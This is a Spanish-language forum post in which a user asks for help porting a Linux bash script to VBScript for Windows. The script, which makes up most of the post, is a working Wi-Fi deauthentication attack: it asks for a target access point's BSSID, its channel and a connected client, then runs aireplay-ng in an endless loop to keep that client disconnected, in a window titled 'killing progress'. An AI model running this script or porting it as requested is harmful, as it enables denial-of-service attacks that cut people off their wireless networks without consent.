DUDA script .sh a .vbs

[Kyxes]

Buenas compañeros, creo que este tema debe ir en este apartado ya que como finalidad quiero crear un script en VBS.

Soy usuario de windows y me gustaría portar un script .sh a .vbs para trabajar con comodidad desde windows, no sé si esto será posible pero si alguien más experto puede ayudarme a portarlo o indicarme como hacerlo estaría profundamente agradecido.

El script es el siguiente:

echo -n -e '\E[37;41m'"Enter Interface: "; tput sgr0
read int
echo '—>'
echo -n -e '\E[37;41m'"Enter Target AP Bssid: "; tput sgr0
read bsid
echo '—>'
echo -n -e '\E[37;41m'"Enter Target AP channel: "; tput sgr0
read chn
iwconfig $int channel $chn
echo '—>'
echo -n -e '\E[37;41m'"Enter Target Connected Client: "; tput sgr0
read cli
echo '—>'
rm /home/cut.sh &>/dev/null;
echo "'for (( ; ; ))
do
 aireplay-ng -a '$bsid' -c '$cli' -0 100 '$int'
 
done
"' >> /home/cut.sh
xterm -geometry 70×12-1-1 -T "killing progress" -bg red -e "sh /home/cut.sh"

ACLARO antes de nada que entiendo que tiene rutas y software exclusivo de linux, pero, ¿seria posible realizar algo similar en un entorno windows?
Espero sus respuestas.